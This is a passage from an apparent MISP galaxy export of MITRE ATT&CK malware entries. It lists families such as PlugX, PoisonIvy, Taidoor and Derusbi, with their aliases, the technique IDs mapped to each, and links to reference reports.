- uses: misp-galaxy:mitre-attack-pattern="Windows Command Shell - T1059.003" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Ingress Tool Transfer - T1105" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Commonly Used Port - T1043" with estimative-language:likelihood-probability="almost-certain"

Table 5207. Table References

Links
http://www.symantec.com/content/en/us/enterprise/media/security_response/whitepapers/the-black-vine-cyberespionage-group.pdf
http://www.symantec.com/security_response/writeup.jsp?docid=2015-020623-0740-99&tabid=2
https://attack.mitre.org/software/S0080

Hikit - S0009

[Hikit](https://attack.mitre.org/software/S0009) is malware that has been used by [Axiom](https://attack.mitre.org/groups/G0001) for late-stage persistence and exfiltration after the initial compromise.(Citation: Novetta-Axiom)(Citation: FireEye Hikit Rootkit)

The tag is: *misp-galaxy:mitre-malware="Hikit - S0009"*

Hikit - S0009 is also known as:

- Hikit

View relationships graph

Hikit - S0009 has relationships with:

- similar: misp-galaxy:tool="Hikit" with estimative-language:likelihood-probability="likely"
- uses: misp-galaxy:mitre-attack-pattern="Rootkit - T1014" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Symmetric Cryptography - T1573.001" with estimative-language:likelihood-probability="almost-certain"

- uses: misp-galaxy:mitre-attack-pattern="DLL Search Order Hijacking - T1574.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Data from Local System - T1005" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Code Signing Policy Modification - T1553.006" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Phishing - T1566" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Install Root Certificate - T1553.004" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Windows Command Shell - T1059.003" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Web Protocols - T1071.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Ingress Tool Transfer - T1105" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Internal Proxy - T1090.001" with estimative-language:likelihood-probability="almost-certain"

Table 5208. Table References

Links
http://www.novetta.com/wp-content/uploads/2014/11/Executive_Summary-Final_1.pdf
https://attack.mitre.org/software/S0009
https://www.fireeye.com/blog/threat-research/2012/08/hikit-rootkit-advanced-persistent-attack-techniques-part-1.html

Rover - S0090

[Rover](https://attack.mitre.org/software/S0090) is malware suspected of being used for espionage purposes. It was used in 2015 in a targeted email sent to an Indian Ambassador to Afghanistan. (Citation: Palo Alto Rover)

The tag is: *misp-galaxy:mitre-malware="Rover - S0090"*

Rover - S0090 is also known as:

- Rover

View relationships graph

Rover - S0090 has relationships with:

- uses: misp-galaxy:mitre-attack-pattern="Screen Capture - T1113" with estimative-language:likelihood-probability="almost-certain"

- uses: misp-galaxy:mitre-attack-pattern="Keylogging - T1056.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Data from Removable Media - T1025" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Local Data Staging - T1074.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Automated Collection - T1119" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Data from Local System - T1005" with estimative-language:likelihood-probability="almost-certain"
- similar: misp-galaxy:malpedia="Rover" with estimative-language:likelihood-probability="likely"
- uses: misp-galaxy:mitre-attack-pattern="Modify Registry - T1112" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Automated Exfiltration - T1020" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="File and Directory Discovery - T1083" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Registry Run Keys / Startup Folder - T1547.001" with estimative-language:likelihood-probability="almost-certain"

Table 5209. Table References

Links
http://researchcenter.paloaltonetworks.com/2016/02/new-malware-rover-targets-indian-ambassador-to-afghanistan/
https://attack.mitre.org/software/S0090

Taidoor - S0011

[Taidoor](https://attack.mitre.org/software/S0011) is a remote access trojan (RAT) that has been used by Chinese government cyber actors to maintain access on victim networks.(Citation: CISA MAR-10292089-1.v2 TAIDOOR August 2021) [Taidoor](https://attack.mitre.org/software/S0011) has primarily been used against Taiwanese government organizations since at least 2010.(Citation: TrendMicro Taidoor)

The tag is: *misp-galaxy:mitre-malware="Taidoor - S0011"*

Taidoor - S0011 is also known as:

- Taidoor

View relationships graph

Taidoor - S0011 has relationships with:

- uses: misp-galaxy:mitre-attack-pattern="Malicious File - T1204.002" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Symmetric Cryptography - T1573.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Spearphishing Attachment - T1566.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Native API - T1106" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Data from Local System - T1005" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Deobfuscate/Decode Files or Information - T1140" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Modify Registry - T1112" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="System Network Configuration Discovery - T1016" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="File and Directory Discovery - T1083" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Process Discovery - T1057" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Registry Run Keys / Startup Folder - T1547.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Obfuscated Files or Information - T1027" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Non-Application Layer Protocol - T1095" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Query Registry - T1012" with estimative-language:likelihood-probability="almost-certain"
- similar: misp-galaxy:tool="Taidoor" with estimative-language:likelihood-probability="likely"
- uses: misp-galaxy:mitre-attack-pattern="Windows Command Shell - T1059.003" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="File Deletion - T1070.004" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Web Protocols - T1071.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Ingress Tool Transfer - T1105" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="System Time Discovery - T1124" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Dynamic-link Library Injection - T1055.001" with

estimative-language:likelihood-probability="almost-certain"

Table 5210. Table References

Links
http://www.trendmicro.com/cloud-content/us/pdfs/security-intelligence/white-papers/wp_the_taidoor_campaign.pdf
https://attack.mitre.org/software/S0011
https://us-cert.cisa.gov/ncas/analysis-reports/ar20-216a

WEBC2 - S0109

[WEBC2](https://attack.mitre.org/software/S0109) is a family of backdoor malware used by [APT1](https://attack.mitre.org/groups/G0006) as early as July 2006. [WEBC2](https://attack.mitre.org/software/S0109) backdoors are designed to retrieve a webpage, with commands hidden in HTML comments or special tags, from a predetermined C2 server. (Citation: Mandiant APT1 Appendix)(Citation: Mandiant APT1)

The tag is: *misp-galaxy:mitre-malware="WEBC2 - S0109"*

WEBC2 - S0109 is also known as:

- WEBC2

View relationships graph

WEBC2 - S0109 has relationships with:

- uses: misp-galaxy:mitre-attack-pattern="DLL Search Order Hijacking - T1574.001" with estimative-language:likelihood-probability="almost-certain"
- similar: misp-galaxy:tool="WEBC2" with estimative-language:likelihood-probability="likely"
- uses: misp-galaxy:mitre-attack-pattern="Windows Command Shell - T1059.003" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Ingress Tool Transfer - T1105" with estimative-language:likelihood-probability="almost-certain"

Table 5211. Table References

Links
https://attack.mitre.org/software/S0109
https://www.fireeye.com/content/dam/fireeye-www/services/pdfs/mandiant-apt1-report-appendix.zip
https://www.fireeye.com/content/dam/fireeye-www/services/pdfs/mandiant-apt1-report.pdf

Derusbi - S0021

[Derusbi](https://attack.mitre.org/software/S0021) is malware used by multiple Chinese APT groups.(Citation: Novetta-Axiom)(Citation: ThreatConnect Anthem) Both Windows and Linux variants have been observed.(Citation: Fidelis Turbo)

The tag is: *misp-galaxy:mitre-malware="Derusbi - S0021"*

Derusbi - S0021 is also known as:

- Derusbi
- PHOTO

View relationships graph

Derusbi - S0021 has relationships with:

- uses: misp-galaxy:mitre-attack-pattern="Screen Capture - T1113" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="System Owner/User Discovery - T1033" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Keylogging - T1056.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Audio Capture - T1123" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Symmetric Cryptography - T1573.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="System Information Discovery - T1082" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Timestomp - T1070.006" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Video Capture - T1125" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="File and Directory Discovery - T1083" with estimative-language:likelihood-probability="almost-certain"
- similar: misp-galaxy:malpedia="Derusbi (Windows)" with estimative-language:likelihood-probability="likely"
- uses: misp-galaxy:mitre-attack-pattern="Process Discovery - T1057" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Unix Shell - T1059.004" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Non-Standard Port - T1571" with estimative-language:likelihood-probability="almost-certain"

- uses: misp-galaxy:mitre-attack-pattern="Regsvr32 - T1218.010" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Non-Application Layer Protocol - T1095" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Query Registry - T1012" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="File Deletion - T1070.004" with estimative-language:likelihood-probability="almost-certain"
- similar: misp-galaxy:tool="Derusbi" with estimative-language:likelihood-probability="likely"
- uses: misp-galaxy:mitre-attack-pattern="Fallback Channels - T1008" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Dynamic-link Library Injection - T1055.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Custom Command and Control Protocol - T1094" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Commonly Used Port - T1043" with estimative-language:likelihood-probability="almost-certain"

Table 5212. Table References

Links
http://www.novetta.com/wp-content/uploads/2014/11/Executive_Summary-Final_1.pdf
https://attack.mitre.org/software/S0021
https://paper.seebug.org/papers/APT/APT_CyberCriminal_Campagin/2016/2016.02.29.Turbo_Campaign_Derusbi/TA_Fidelis_Turbo_1602_0.pdf
https://www.fireeye.com/blog/threat-research/2018/03/suspected-chinese-espionage-group-targeting-maritime-and-engineering-industries.html
https://www.threatconnect.com/the-anthem-hack-all-roads-lead-to-china/

JPIN - S0201

[JPIN](https://attack.mitre.org/software/S0201) is a custom-built backdoor family used by [PLATINUM](https://attack.mitre.org/groups/G0068). Evidence suggests developers of [JPIN](https://attack.mitre.org/software/S0201) and [Dipsind](https://attack.mitre.org/software/S0200) code bases were related in some way. (Citation: Microsoft PLATINUM April 2016)

The tag is: *misp-galaxy:mitre-malware="JPIN - S0201"*

JPIN - S0201 is also known as:

- JPIN

View relationships graph

JPIN - S0201 has relationships with:

- uses: misp-galaxy:mitre-attack-pattern="System Owner/User Discovery - T1033" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Keylogging - T1056.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="System Service Discovery - T1007" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Windows File and Directory Permissions Modification - T1222.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="System Information Discovery - T1082" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Process Injection - T1055" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Mail Protocols - T1071.003" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="System Network Configuration Discovery - T1016" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="File and Directory Discovery - T1083" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Process Discovery - T1057" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="File Transfer Protocols - T1071.002" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Local Groups - T1069.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Disable or Modify Tools - T1562.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Obfuscated Files or Information - T1027" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Query Registry - T1012" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="BITS Jobs - T1197" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Security Software Discovery - T1518.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Windows Command Shell - T1059.003" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="File Deletion - T1070.004" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Ingress Tool Transfer - T1105" with estimative-

language:likelihood-probability="almost-certain"

Table 5213. Table References

Links
https://attack.mitre.org/software/S0201
https://download.microsoft.com/download/2/2/5/225BFE3E-E1DE-4F5B-A77B-71200928D209/Platinum%20feature%20article%20-%20Targeted%20attacks%20in%20South%20and%20Southeast%20Asia%20April%202016.pdf

PoisonIvy - S0012

[PoisonIvy](https://attack.mitre.org/software/S0012) is a popular remote access tool (RAT) that has been used by many groups.(Citation: FireEye Poison Ivy)(Citation: Symantec Elderwood Sept 2012)(Citation: Symantec Darkmoon Aug 2005)

The tag is: *misp-galaxy:mitre-malware="PoisonIvy - S0012"*

PoisonIvy - S0012 is also known as:

- PoisonIvy
- Breut
- Poison Ivy
- Darkmoon

View relationships graph

PoisonIvy - S0012 has relationships with:

- uses: misp-galaxy:mitre-attack-pattern="Keylogging - T1056.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Rootkit - T1014" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Local Data Staging - T1074.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Active Setup - T1547.014" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Symmetric Cryptography - T1573.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Windows Service - T1543.003" with estimative-language:likelihood-probability="almost-certain"
- similar: misp-galaxy:tool="Poison Ivy" with estimative-language:likelihood-probability="likely"
- uses: misp-galaxy:mitre-attack-pattern="Data from Local System - T1005" with estimative-language:likelihood-probability="almost-certain"

- uses: misp-galaxy:mitre-attack-pattern="Application Window Discovery - T1010" with estimative-language:likelihood-probability="almost-certain"
- similar: misp-galaxy:rat="PoisonIvy" with estimative-language:likelihood-probability="likely"
- uses: misp-galaxy:mitre-attack-pattern="Modify Registry - T1112" with estimative-language:likelihood-probability="almost-certain"
- similar: misp-galaxy:malpedia="Poison Ivy" with estimative-language:likelihood-probability="likely"
- uses: misp-galaxy:mitre-attack-pattern="Registry Run Keys / Startup Folder - T1547.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Obfuscated Files or Information - T1027" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Uncommonly Used Port - T1065" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Windows Command Shell - T1059.003" with estimative-language:likelihood-probability="almost-certain"
- similar: misp-galaxy:tool="poisonivy" with estimative-language:likelihood-probability="likely"
- uses: misp-galaxy:mitre-attack-pattern="Ingress Tool Transfer - T1105" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Dynamic-link Library Injection - T1055.001" with estimative-language:likelihood-probability="almost-certain"

Table 5214. Table References

Links
http://www.novetta.com/wp-content/uploads/2014/11/Executive_Summary-Final_1.pdf
https://attack.mitre.org/software/S0012
https://web.archive.org/web/20190717233006/http://www.symantec.com/content/en/us/enterprise/media/security_response/whitepapers/the-elderwood-project.pdf
https://www.fireeye.com/content/dam/fireeye-www/global/en/current-threats/pdfs/rpt-poison-ivy.pdf
https://www.symantec.com/connect/blogs/life-mars-how-attackers-took-advantage-hope-alien-existance-new-darkmoon-campaign
https://www.symantec.com/security_response/writeup.jsp?docid=2005-081910-3934-99

Nerex - S0210

[Nerex](https://attack.mitre.org/software/S0210) is a Trojan used by [Elderwood](https://attack.mitre.org/groups/G0066) to open a backdoor on compromised hosts. (Citation: Symantec Elderwood Sept 2012) (Citation: Symantec Nerex May 2012)

The tag is: *misp-galaxy:mitre-malware="Nerex - S0210"*

Nerex - S0210 is also known as:

- Nerex

View relationships graph

Nerex - S0210 has relationships with:

- uses: misp-galaxy:mitre-attack-pattern="Windows Service - T1543.003" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Code Signing - T1553.002" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Modify Registry - T1112" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Ingress Tool Transfer - T1105" with estimative-language:likelihood-probability="almost-certain"

Table 5215. Table References

Links
https://attack.mitre.org/software/S0210
https://web.archive.org/web/20190717233006/http://www.symantec.com/content/en/us/enterprise/media/security_response/whitepapers/the-elderwood-project.pdf
https://www.symantec.com/security_response/writeup.jsp?docid=2012-051515-3445-99

BACKSPACE - S0031

[BACKSPACE](https://attack.mitre.org/software/S0031) is a backdoor used by [APT30](https://attack.mitre.org/groups/G0013) that dates back to at least 2005. (Citation: FireEye APT30)

The tag is: *misp-galaxy:mitre-malware="BACKSPACE - S0031"*

BACKSPACE - S0031 is also known as:

- BACKSPACE
- Lecna

View relationships graph

BACKSPACE - S0031 has relationships with:

- uses: misp-galaxy:mitre-attack-pattern="System Information Discovery - T1082" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Shortcut Modification - T1547.009" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Disable or Modify System Firewall - T1562.004" with

estimative-language:likelihood-probability="almost-certain"

- uses: misp-galaxy:mitre-attack-pattern="Modify Registry - T1112" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="File and Directory Discovery - T1083" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Multi-Stage Channels - T1104" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Process Discovery - T1057" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Exfiltration Over C2 Channel - T1041" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Registry Run Keys / Startup Folder - T1547.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Query Registry - T1012" with estimative-language:likelihood-probability="almost-certain"
- similar: misp-galaxy:tool="Backspace" with estimative-language:likelihood-probability="likely"
- uses: misp-galaxy:mitre-attack-pattern="Windows Command Shell - T1059.003" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Non-Standard Encoding - T1132.002" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Web Protocols - T1071.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Internal Proxy - T1090.001" with estimative-language:likelihood-probability="almost-certain"

Table 5216. Table References

Links
https://attack.mitre.org/software/S0031
https://www2.fireeye.com/rs/fireye/images/rpt-apt30.pdf

Dendroid - S0301

[Dendroid](https://attack.mitre.org/software/S0301) is an Android remote access tool (RAT) primarily targeting Western countries. The RAT was available for purchase for $300 and came bundled with a utility to inject the RAT into legitimate applications.(Citation: Lookout-Dendroid)

The tag is: *misp-galaxy:mitre-malware="Dendroid - S0301"*

Dendroid - S0301 is also known as:

- Dendroid

View relationships graph

Dendroid - S0301 has relationships with:

- uses: misp-galaxy:mitre-attack-pattern="Input Prompt - T1411" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Capture Audio - T1429" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Evade Analysis Environment - T1523" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Masquerade as Legitimate Application - T1444" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="SMS Control - T1582" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Capture Camera - T1512" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Deliver Malicious App via Authorized App Store - T1475" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Data from Local System - T1533" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Capture SMS Messages - T1412" with estimative-language:likelihood-probability="almost-certain"
- similar: misp-galaxy:rat="Dendroid" with estimative-language:likelihood-probability="likely"

Table 5217. Table References

Links
https://attack.mitre.org/software/S0301
https://blog.lookout.com/blog/2014/03/06/dendroid/

PlugX - S0013

[PlugX](https://attack.mitre.org/software/S0013) is a remote access tool (RAT) with modular plugins that has been used by multiple threat groups.(Citation: Lastline PlugX Analysis)(Citation: FireEye Clandestine Fox Part 2)(Citation: New DragonOK)(Citation: Dell TG-3390)

The tag is: *misp-galaxy:mitre-malware="PlugX - S0013"*

PlugX - S0013 is also known as:

- PlugX
- Thoper
- TVT
- DestroyRAT
- Sogu

- Kaba
- Korplug

View relationships graph

PlugX - S0013 has relationships with:

- uses: misp-galaxy:mitre-attack-pattern="Screen Capture - T1113" with estimative-language:likelihood-probability="almost-certain"
- similar: misp-galaxy:malpedia="PlugX" with estimative-language:likelihood-probability="likely"
- uses: misp-galaxy:mitre-attack-pattern="Keylogging - T1056.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="DNS - T1071.004" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Match Legitimate Name or Location - T1036.005" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Symmetric Cryptography - T1573.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Windows Service - T1543.003" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="System Checks - T1497.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="DLL Search Order Hijacking - T1574.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Network Share Discovery - T1135" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Native API - T1106" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Deobfuscate/Decode Files or Information - T1140" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Modify Registry - T1112" with estimative-language:likelihood-probability="almost-certain"
- similar: misp-galaxy:rat="PlugX" with estimative-language:likelihood-probability="likely"
- uses: misp-galaxy:mitre-attack-pattern="File and Directory Discovery - T1083" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Masquerade Task or Service - T1036.004" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="System Network Connections Discovery - T1049" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Process Discovery - T1057" with estimative-language:likelihood-probability="almost-certain"

- uses: misp-galaxy:mitre-attack-pattern="Multiband Communication - T1026" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Registry Run Keys / Startup Folder - T1547.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Obfuscated Files or Information - T1027" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Non-Application Layer Protocol - T1095" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Query Registry - T1012" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="MSBuild - T1127.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Windows Command Shell - T1059.003" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Web Protocols - T1071.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="DLL Side-Loading - T1574.002" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Ingress Tool Transfer - T1105" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Hidden Files and Directories - T1564.001" with estimative-language:likelihood-probability="almost-certain"
- similar: misp-galaxy:tool="PlugX" with estimative-language:likelihood-probability="likely"
- uses: misp-galaxy:mitre-attack-pattern="Custom Command and Control Protocol - T1094" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Dead Drop Resolver - T1102.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Commonly Used Port - T1043" with estimative-language:likelihood-probability="almost-certain"

Table 5218. Table References

Links
http://circl.lu/assets/files/tr-12/tr-12-circl-plugx-analysis-v1.pdf
http://labs.lastline.com/an-analysis-of-plugx
http://researchcenter.paloaltonetworks.com/2015/04/unit-42-identifies-new-dragonok-backdoor-malware-deployed-against-japanese-targets/
http://www.novetta.com/wp-content/uploads/2014/11/Executive_Summary-Final_1.pdf
https://attack.mitre.org/software/S0013
https://www.fireeye.com/blog/threat-research/2014/06/clandestine-fox-part-deux.html

https://www.secureworks.com/research/threat-group-3390-targets-organizations-for-cyberespionage

Fysbis - S0410

[Fysbis](https://attack.mitre.org/software/S0410) is a Linux-based backdoor used by [APT28](https://attack.mitre.org/groups/G0007) that dates back to at least 2014.(Citation: Fysbis Palo Alto Analysis)

The tag is: *misp-galaxy:mitre-malware="Fysbis - S0410"*

Fysbis - S0410 is also known as:

- Fysbis

View relationships graph

Fysbis - S0410 has relationships with:

- uses: misp-galaxy:mitre-attack-pattern="Standard Encoding - T1132.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Keylogging - T1056.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Match Legitimate Name or Location - T1036.005" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="System Information Discovery - T1082" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="File and Directory Discovery - T1083" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Masquerade Task or Service - T1036.004" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Process Discovery - T1057" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Unix Shell - T1059.004" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Obfuscated Files or Information - T1027" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="File Deletion - T1070.004" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Systemd Service - T1543.002" with estimative-language:likelihood-probability="almost-certain"
